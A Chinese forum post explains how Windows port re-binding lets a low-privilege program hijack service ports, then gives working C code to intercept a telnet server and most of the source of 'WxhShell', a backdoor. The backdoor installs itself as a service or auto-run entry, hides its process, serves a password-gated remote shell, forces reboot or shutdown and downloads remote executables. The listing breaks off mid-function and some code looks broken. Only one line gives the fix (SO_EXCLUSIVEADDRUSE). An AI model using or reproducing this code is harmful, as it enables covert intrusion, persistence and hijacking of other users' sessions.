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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XWnP(C9?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UUlz3"`  
r+8D|stS  
  saddr.sin_family = AF_INET; m;]wKd"  
4minzrKM\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -]HZ?@  
.WqqP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xBA"w:<  
m]!hP^^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p>;@]!YWQ  
(pd$?vRy  
  这意味着什么?意味着可以进行如下的攻击: j *G: 8Lg  
ZQ_6I}i")  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LWT\1#  
rBNVI;JZW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #%\0][Xf  
Qk:Lo*!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Td|u@l4B  
;na%*G`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2CO/K_Q  
>ep<W<b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 QMsq4yJ)%  
,UMr_ e{|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dA~:L`A|X  
],pB:=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &sWr)>vs  
j)mU`b_  
  #include \D?'.Wo%  
  #include FN-/~Su~J  
  #include q>.7VN[ vE  
  #include    }} =n]_f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q()o|V  
  int main() 'F/oR/4,  
  { G+8)a$?v  
  WORD wVersionRequested; {r&mNbz  
  DWORD ret; S)WxTE9  
  WSADATA wsaData; AygdAg'\  
  BOOL val; $72eHdy/yl  
  SOCKADDR_IN saddr; ?ZlXh51  
  SOCKADDR_IN scaddr; [Y .8C$0  
  int err; Cdz&'en^  
  SOCKET s; x|0C0a\"A  
  SOCKET sc; _-_iw&F  
  int caddsize; a|7C6#iz$  
  HANDLE mt; *OG<+#*\_?  
  DWORD tid;   XIl <rN@-  
  wVersionRequested = MAKEWORD( 2, 2 ); !E 5FU *s  
  err = WSAStartup( wVersionRequested, &wsaData );  !Ld5Y$  
  if ( err != 0 ) { Dt: Q$  
  printf("error!WSAStartup failed!\n"); ?s^qWA  
  return -1; cAW}a  
  } lFBpNUnzU  
  saddr.sin_family = AF_INET; XjGS.&'I  
   fs 'SCwx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !cyrt<  
]->"4,}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PXMd=,}  
  saddr.sin_port = htons(23); pWV_KS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]].~/kC^3k  
  { 6<];}M_{  
  printf("error!socket failed!\n"); 1Toiqb/  
  return -1; O+}py{ st  
  } " ]S  
  val = TRUE; + `|A/w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _re# b?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [I *_0  
  { mJUM#ry  
  printf("error!setsockopt failed!\n"); %F 2h C x  
  return -1; b)d;eS  
  } ( s3k2Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WO qDW~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {=Zy;Er  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [CJ<$R !  
JsJP%'^/R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  k[r^@|  
  { YRu@; `  
  ret=GetLastError(); LiG$M{0  
  printf("error!bind failed!\n"); {18hzhs  
  return -1; XGl2rX&  
  } !Km[Qw k-  
  listen(s,2); (7Z+De?  
  while(1) 8o~ NJ 6  
  { T*x2+(r  
  caddsize = sizeof(scaddr); *S,~zOYN  
  //接受连接请求 ix!xLm9\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0g?)j-  
  if(sc!=INVALID_SOCKET) ;st0Ekni)  
  { lFzVd N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~|+ ~/  
  if(mt==NULL) X8)k'h  
  { =D`8,n [  
  printf("Thread Creat Failed!\n"); F/oqYk9`  
  break; v;]rFc#Px[  
  } mLhM_=  
  } A=<7*E  
  CloseHandle(mt); P 45Irir  
  } K<>kT4  
  closesocket(s); =~1EpZ  
  WSACleanup(); jK w 96  
  return 0; >#]A2,  
  }   `c  
  DWORD WINAPI ClientThread(LPVOID lpParam) enQ*uMKd^  
  { E %mEfj7  
  SOCKET ss = (SOCKET)lpParam; CHgip&(.F  
  SOCKET sc; 2R/|/>T v  
  unsigned char buf[4096]; |v!N1+v0  
  SOCKADDR_IN saddr; _uIS[%4g  
  long num; $.`o  
  DWORD val; CRb*sfKDL  
  DWORD ret; CWdsOS=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^DYS~I%s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c1f"z1Z  
  saddr.sin_family = AF_INET; {-Y;!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $k~TVm Yex  
  saddr.sin_port = htons(23); !T0I; j&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :HY$x  
  { $TIeeTB  
  printf("error!socket failed!\n"); rpow@@ad<  
  return -1; ~q`!928Gu  
  } U6.aoqb%  
  val = 100; !ho^:}m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )?rq8VO  
  { <h#*wy:o2  
  ret = GetLastError(); zd YH9d>D  
  return -1; eRMN=qP.q  
  } Wiis<^)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :kgh~mx5LF  
  { h P6f   
  ret = GetLastError(); J^7m?mA  
  return -1; ~]KdsT(=_  
  } '@{:Fr G*U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  Vl_6nY;  
  { -@>{q/  
  printf("error!socket connect failed!\n"); `J.,dqGb  
  closesocket(sc); x=*&#; Y|  
  closesocket(ss); t'44X  
  return -1; NW\CEJV  
  } %-n) L  
  while(1) Nv5^2^Sc=  
  { <F9-$_m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j,YrM?Xdo  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'va[)~!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nb_/1{F  
  num = recv(ss,buf,4096,0); Wb}-H-O  
  if(num>0) -E7mt`:d  
  send(sc,buf,num,0); )qxt<  
  else if(num==0) KXt8IMP_"y  
  break; '?rR>$s  
  num = recv(sc,buf,4096,0); 3BM z{ny=  
  if(num>0) vXKL<  
  send(ss,buf,num,0); 5:@bNNX'j  
  else if(num==0) wv\X  
  break; YmljHQP  
  } 5IU!BQU  
  closesocket(ss); {it.F4.  
  closesocket(sc); gPMR,TU  
  return 0 ; VzG|Xtco [  
  } ?1=.scmgDG  
!U`4  
5_9`v@-4_  
========================================================== /?8 1Ypt  
-zK>{)Z=q  
下边附上一个代码,,WXhSHELL n.+*_c8k  
I0 t#{i  
========================================================== Jh+;+"  
eT%x(P  
#include "stdafx.h" _ZRmD\_t  
8^_:9&)i  
#include <stdio.h> UBd+,]"f  
#include <string.h> 7-S?RU]g  
#include <windows.h> \Z5Wp5az},  
#include <winsock2.h> jIKg* @  
#include <winsvc.h> u7e$Mq  
#include <urlmon.h> czRBuo+k+  
Z `F[0-  
#pragma comment (lib, "Ws2_32.lib") Tg)F.):  
#pragma comment (lib, "urlmon.lib") O?vh]o  
rxp|[>O<  
#define MAX_USER   100 // 最大客户端连接数 h3F559bw/<  
#define BUF_SOCK   200 // sock buffer &g?GF\Y  
#define KEY_BUFF   255 // 输入 buffer +?\JQ|  
A f`Kg-c_(  
#define REBOOT     0   // 重启 NDRD PD  
#define SHUTDOWN   1   // 关机 nWK8.&{.  
 ~&~4{  
#define DEF_PORT   5000 // 监听端口 Y1cL dQn  
CVO_F=;  
#define REG_LEN     16   // 注册表键长度 5 3pW:`  
#define SVC_LEN     80   // NT服务名长度 [P}Bq6;p  
Mmz; uy_  
// 从dll定义API vU%o5y:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mnranhe>G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 45biy(qa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C).\ J !  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HD<$0M|  
K qJE?caw  
// wxhshell配置信息 [>NMuwtG  
struct WSCFG { -#I]/7^  
  int ws_port;         // 监听端口 |6So$;`  
  char ws_passstr[REG_LEN]; // 口令 r2:{r`ocM  
  int ws_autoins;       // 安装标记, 1=yes 0=no qX}3}TL  
  char ws_regname[REG_LEN]; // 注册表键名 7"| Qmyb  
  char ws_svcname[REG_LEN]; // 服务名 !$n@:W/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p7\LLJ y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EI=~*&t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7fq Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pnu?=.O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _HM?p(H@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SB%D%Zx6'%  
[xGwqa03  
}; R.i ]6H!  
QP~["%}T  
// default Wxhshell configuration 7s^b@&Le  
struct WSCFG wscfg={DEF_PORT, ~;?mD/0k  
    "xuhuanlingzhe", I{w(`[Nxw*  
    1, qBF|' .$^  
    "Wxhshell", L)M{S3q,  
    "Wxhshell", gy?uk~p  
            "WxhShell Service", xqSZ {E:  
    "Wrsky Windows CmdShell Service", `Fcr`[  
    "Please Input Your Password: ", Y;Nq(  
  1, 8$c) ]Bv  
  "http://www.wrsky.com/wxhshell.exe", ~> )>hy)  
  "Wxhshell.exe" tRPIvq/  
    }; In4VS:dD  
BoT#b^l  
// 消息定义模块 , $!F,c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .hckZx /  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OfrzmL<K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V9/2y9u  
char *msg_ws_ext="\n\rExit."; ku/vV+&O  
char *msg_ws_end="\n\rQuit."; m>Z3p7!N}  
char *msg_ws_boot="\n\rReboot..."; 0vEQgx>  
char *msg_ws_poff="\n\rShutdown..."; &@xm< A\S  
char *msg_ws_down="\n\rSave to "; #[i3cn  
BZv:E?1z  
char *msg_ws_err="\n\rErr!"; MMO/vJC  
char *msg_ws_ok="\n\rOK!"; V.8Vy1$  
7 2i&-`&4  
char ExeFile[MAX_PATH]; [.Fm-$M-  
int nUser = 0; ){mqo%{SO  
HANDLE handles[MAX_USER]; tVf):}<h  
int OsIsNt; kXdXyq  
9e.v[K~  
SERVICE_STATUS       serviceStatus; @r<2]RXlc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mph9/ %]S  
V(;T{HW&  
// 函数声明 qOmL\'8  
int Install(void); QeT~s5 H  
int Uninstall(void); mS}.?[d"  
int DownloadFile(char *sURL, SOCKET wsh); L{1[:a)']B  
int Boot(int flag); !r6Yq,3  
void HideProc(void); Vxo?%Dj  
int GetOsVer(void); ``]NB=N}{1  
int Wxhshell(SOCKET wsl); 'b"7Lzp2  
void TalkWithClient(void *cs); !yi*Zt~  
int CmdShell(SOCKET sock); KXz7l\1Gb  
int StartFromService(void); :RDk{^b)  
int StartWxhshell(LPSTR lpCmdLine); Ya~Th)'>q  
Jj0:p"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J@i9)D_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zXUB6. e  
C \5yo  
// 数据结构和表定义 ?N9Z;_&^.  
SERVICE_TABLE_ENTRY DispatchTable[] = CX2qtI8N?  
{ ./zzuKO8XK  
{wscfg.ws_svcname, NTServiceMain}, w`< {   
{NULL, NULL} 9Y:.v@:}0  
}; Jw;G_dQ[  
~-G_c=E?  
// 自我安装 yW*,Llb5  
int Install(void) I\-M`^@  
{ 1Ke9H!_P  
  char svExeFile[MAX_PATH]; #N|JC d_  
  HKEY key; v=dK2FaY  
  strcpy(svExeFile,ExeFile); vqVwo\oEdU  
(+xT5 2  
// 如果是win9x系统,修改注册表设为自启动 RkTYvAk|kY  
if(!OsIsNt) { a*&&6Fo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NU'2QSU8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BhjDyB  
  RegCloseKey(key); ang~_Ec.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~PAI0+*"q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WAtv4  
  RegCloseKey(key); -s)h ?D  
  return 0; !,Cbb }  
    } C%ZPWOc_8  
  } r}(mjC"o  
}  JJs*2y  
else { ^xScVOdP  
={]POL\ A  
// 如果是NT以上系统,安装为系统服务  V_e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q<^MC/]  
if (schSCManager!=0) De{ZQg)  
{ 2qVoe}F  
  SC_HANDLE schService = CreateService f;OB"p  
  ( O0_RW`69  
  schSCManager, #Jp|Cb<qx  
  wscfg.ws_svcname, eR`Q7]j] -  
  wscfg.ws_svcdisp, \"L0d1DK)  
  SERVICE_ALL_ACCESS, 6kAGOjO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6]?W&r|0I  
  SERVICE_AUTO_START, l&kZ6lZ  
  SERVICE_ERROR_NORMAL, Q W c^}#!!  
  svExeFile, $Xu/P5  
  NULL, +7AH|v8  
  NULL, Wi,)a{  
  NULL, JvP>[vb  
  NULL, 35x]'  
  NULL paMK]-  
  ); *(5T?p[7  
  if (schService!=0) x&+&)d  
  { se]&)%p[  
  CloseServiceHandle(schService); qUn+1.[%  
  CloseServiceHandle(schSCManager); =&Tuh}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %]4=D)Om  
  strcat(svExeFile,wscfg.ws_svcname); ^K4?uABc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \~Ml<3Zd:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a({N}ZDo  
  RegCloseKey(key); ,!PV0(F(  
  return 0; rQ2TPX<?a  
    } S,avvY.U\  
  } 1{a4zGE?[  
  CloseServiceHandle(schSCManager); lF40n4}  
} z[O*f#t  
} JBZ1DZAWC  
0jPUDkH*  
return 1; BJ'pe[Xa5  
} !"-.D4*r  
rce._w }  
// 自我卸载 4}UJ Bb?  
int Uninstall(void) vM$hCV ~N  
{ ma<uXq  
  HKEY key; Z#^|h0  
:qAX9T'{t  
if(!OsIsNt) { rKT.~ZP\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G$QN_h,}  
  RegDeleteValue(key,wscfg.ws_regname); .Y8P6_  
  RegCloseKey(key); ?Pf#~U_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Je2&7uR0  
  RegDeleteValue(key,wscfg.ws_regname); @de0)AJG6  
  RegCloseKey(key); fgC@(dvfk  
  return 0; j+q)  
  } nII#uI /!q  
} JL{fW>5y|  
} DO+~    
else { Aho*E9VW  
gX(Xj@=(&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [kckE-y  
if (schSCManager!=0)  s_+.xIZ  
{ v]H9`s#,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]l+<-  
  if (schService!=0) 0S'@(p[A  
  { )l! `k  
  if(DeleteService(schService)!=0) { #Q-#7|0&  
  CloseServiceHandle(schService); `_i|\}tl  
  CloseServiceHandle(schSCManager); i: jB  
  return 0; & BY\h:  
  } G!G:YVWXP  
  CloseServiceHandle(schService); EA9.?F  
  } 9k6/D.Dz  
  CloseServiceHandle(schSCManager); vW!O("\7K<  
} V8&'dhuG  
} q bCU&G|)  
])%UZM6  
return 1; cR,'aX  
} {.[EXMX  
A"s?;hv\fS  
// 从指定url下载文件 bAN>\zG+  
int DownloadFile(char *sURL, SOCKET wsh) 0 z]H=  
{ 6K<o0=,jm2  
  HRESULT hr; KsK]y,^Z  
char seps[]= "/"; KK4e'[Wf  
char *token; i "X" -)#  
char *file; :F#^Q%-IS  
char myURL[MAX_PATH]; fkImX:|q  
char myFILE[MAX_PATH]; 1LhZmv  
+Wy`X5v  
strcpy(myURL,sURL); TX@ed  
  token=strtok(myURL,seps); J=(i0A  
  while(token!=NULL) !<VP[%2L~  
  { yGrnzB6|  
    file=token; i gjn9p&_  
  token=strtok(NULL,seps); m']$)Iqw  
  } 84reyA  
>9i>A:  
GetCurrentDirectory(MAX_PATH,myFILE); :A:7^jrhi  
strcat(myFILE, "\\"); Kng=v~)N'  
strcat(myFILE, file); )'e1@CR  
  send(wsh,myFILE,strlen(myFILE),0); K ;]dZ8  
send(wsh,"...",3,0); tX@y ]"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e{Vn{.i,5  
  if(hr==S_OK)  "^BA5  
return 0; T5e#Ll/  
else 3O1Lv2)_  
return 1; Nq\)o{<1  
gd#?rc*f<3  
} &DHIYj1 i  
P?c V d2Y  
// 系统电源模块 @qjN>PH~  
int Boot(int flag) %[9ty`UE  
{ eY^zs0  
  HANDLE hToken; ?u".*!%  
  TOKEN_PRIVILEGES tkp; '@w'(}3!3R  
\-{$IC-L  
  if(OsIsNt) { !wfUD2 K1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4}cxSl]jf!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =_g#I  
    tkp.PrivilegeCount = 1; V=5*)i/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V EsM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); re#]zc<  
if(flag==REBOOT) { -e_TJA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \v<S:cTf  
  return 0; 02%~HBS  
} ;#IrHR*Bk  
else { M6qNh`+HO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QlR~rFs9t  
  return 0; ^-mWk?>  
} ~&F|g2:  
  } +%Kk zdS'  
  else { gGBRfq>  
if(flag==REBOOT) { (a-Lx2T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 89{;R  
  return 0; -b8SaLak  
} f? GoBh<  
else { |wQ3+WN|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mvt-+K?U  
  return 0; "cly99t  
} }aXSMxCd  
} a MFUj+^  
][V`ym-e  
return 1; aUc#,t;Qd  
} Bj><0 cNF  
n&|N=zh  
// win9x进程隐藏模块 I!u=.[5zdC  
void HideProc(void) oTXIs4+G  
{ PvjZoF["  
v UO[V$rx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 45< gO1  
  if ( hKernel != NULL ) fGs\R]  
  { O&;d82IA{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `/N={  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n6Uf>5  
    FreeLibrary(hKernel); h <$%y(lP  
  } 0YfmAF$/B  
Y+vIU*O  
return; ,g*3u  
} ZPq.|6&  
w,R6:*p5  
// 获取操作系统版本 t>*(v#WeZ  
int GetOsVer(void) zzo93d  
{ nec}grA  
  OSVERSIONINFO winfo; W7_m,{q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I!1+#0SG  
  GetVersionEx(&winfo); =OPX9oG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a$^)~2U{  
  return 1; F  Qk  
  else 8==M{M/eM  
  return 0; k&f/f  
} >JY\h1+ H  
Mk973 'K'  
// 客户端句柄模块 cwtlOg  
int Wxhshell(SOCKET wsl) `T7TWv"M  
{ L{)t(H>O  
  SOCKET wsh; o.Y6(o  
  struct sockaddr_in client; Ef ?|0Gm  
  DWORD myID; YTY(Et1i  
-Q?c'e  
  while(nUser<MAX_USER) S&]r6ss  
{ |r)QkxdU,  
  int nSize=sizeof(client); hmG8 {h/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rbIYLVA+V  
  if(wsh==INVALID_SOCKET) return 1; Y{#*;p*I  
?K2}<H-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L%{YLl-zf]  
if(handles[nUser]==0) %N(>B_t\  
  closesocket(wsh); +c C. ZOS  
else XIZN9/;  
  nUser++; 6Uq;]@k%  
  } 2  @T~VRy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )8aHj4x  
d]^m^  
  return 0; WQiRbbX  
} pYr+n9)^  
j;z7T;!i  
// 关闭 socket oqh J2  
void CloseIt(SOCKET wsh) N81M9#,["~  
{ $_TS]~y4}  
closesocket(wsh); 9rT^rTV  
nUser--; :&'jh/vRN  
ExitThread(0); enQW;N1_M  
} !7)#aXt&  
]o0]i<:  
// 客户端请求句柄 ONDO xXs  
void TalkWithClient(void *cs) I_Gz~qk6  
{ .oT'(6#  
`zw%  
  SOCKET wsh=(SOCKET)cs; "$o>_+U  
  char pwd[SVC_LEN]; /3SEu(d!  
  char cmd[KEY_BUFF]; j3N d4#  
char chr[1]; /EP zT7  
int i,j; yE,qLiH  
|K{ d5\_  
  while (nUser < MAX_USER) { AJ& j|/  
qq<T~^  
if(wscfg.ws_passstr) { X/vyb^:U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  |:x,|>/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )1Y?S;  
  //ZeroMemory(pwd,KEY_BUFF); oD\t4]?E  
      i=0; `aG _m/7|  
  while(i<SVC_LEN) { *) T"-}F  
|#< z\u }  
  // 设置超时 |W=-/~X  
  fd_set FdRead; w%iw xo   
  struct timeval TimeOut; DmPsE6G}  
  FD_ZERO(&FdRead); 'xG J;pY  
  FD_SET(wsh,&FdRead); b)e;Q5Z(.  
  TimeOut.tv_sec=8; .s,04xW\  
  TimeOut.tv_usec=0; hi/d%lNZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =7H\llL4BC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6_u!{  
cHT\sJo`l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U!uJ)mm  
  pwd=chr[0]; I%Yq86  
  if(chr[0]==0xd || chr[0]==0xa) { 6m(? (6+;K  
  pwd=0; jIrfJ*z  
  break; 'Q :%s  
  } JA9NTu(  
  i++; %cUC~, g_(  
    } 0#8, (6  
*c/V('D/  
  // 如果是非法用户,关闭 socket )AR- b8..o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g}R Cjl4  
} 1y1:<t  
'Rsr*gX#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zx2`0%Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]u$tKC  
Wex2Fd?DO  
while(1) { eWex/ m  
oA~0"}eS  
  ZeroMemory(cmd,KEY_BUFF); HK<S|6B7V  
hHVAN3e  
      // 自动支持客户端 telnet标准   \$DBtq5=  
  j=0; Fv %@k{  
  while(j<KEY_BUFF) { SG\ /m'F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q%?%zuU  
  cmd[j]=chr[0]; !^98o:"x  
  if(chr[0]==0xa || chr[0]==0xd) { IZLCwaW  
  cmd[j]=0; *aWh]x9TlU  
  break; *WJK&  
  } 8N9,HNBT$  
  j++;  WTl0}wi  
    } ~uZ9%UB_m  
CALD7qMK  
  // 下载文件 o&@y^<UQ  
  if(strstr(cmd,"http://")) { ;^0ok'P\~9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +$(y2F7|u-  
  if(DownloadFile(cmd,wsh)) >yT1oD0+x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LK*9`dzv=G  
  else Z`GEF|eh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L / WRVc6  
  } 0]'  2i  
  else { ps,Kj3^T<  
>d]-X]  
    switch(cmd[0]) { Viw,YkC  
  n[K%Xs)  
  // 帮助 ,%xat`d3,3  
  case '?': { Lk#)VGk:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fSVM[  
    break; /c-k{5mH%  
  } _:tS-Mx@5  
  // 安装 )T gfd5B  
  case 'i': { %'e$N9zd  
    if(Install()) #Y-_kQV*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s}` |!Vyl  
    else xele;)Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 4lt?|3=  
    break; L1Yj9i  
    } lnjs{`^  
  // 卸载 = B;qy7?  
  case 'r': { (]I=';\  
    if(Uninstall()) 7^! zT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rZ-< Ryg  
    else >rP[Xox'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u 6l)s0Q  
    break; Bt$,=k  
    } &K[~Ab_  
  // 显示 wxhshell 所在路径 Q7v1xBM  
  case 'p': { &X` lh P  
    char svExeFile[MAX_PATH]; 4o@:+T:1  
    strcpy(svExeFile,"\n\r"); z+wegF  
      strcat(svExeFile,ExeFile); Ic!x y  
        send(wsh,svExeFile,strlen(svExeFile),0); .T(vGiU  
    break; $;=?[Cn  
    } Da6l =M  
  // 重启 DyZ6&*s$  
  case 'b': { +CSR!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NhF"%  
    if(Boot(REBOOT)) wEI? 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZDI?"dt{  
    else { })uyq_nz  
    closesocket(wsh); 3bo [34  
    ExitThread(0); *L*{FnsV  
    } j8^ #698X  
    break; /#eS3`48  
    } ObreDv^,  
  // 关机 a[}?!G-Wt|  
  case 'd': { F,pKt.x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {dE(.Z?]!#  
    if(Boot(SHUTDOWN)) -*T0Cl.  
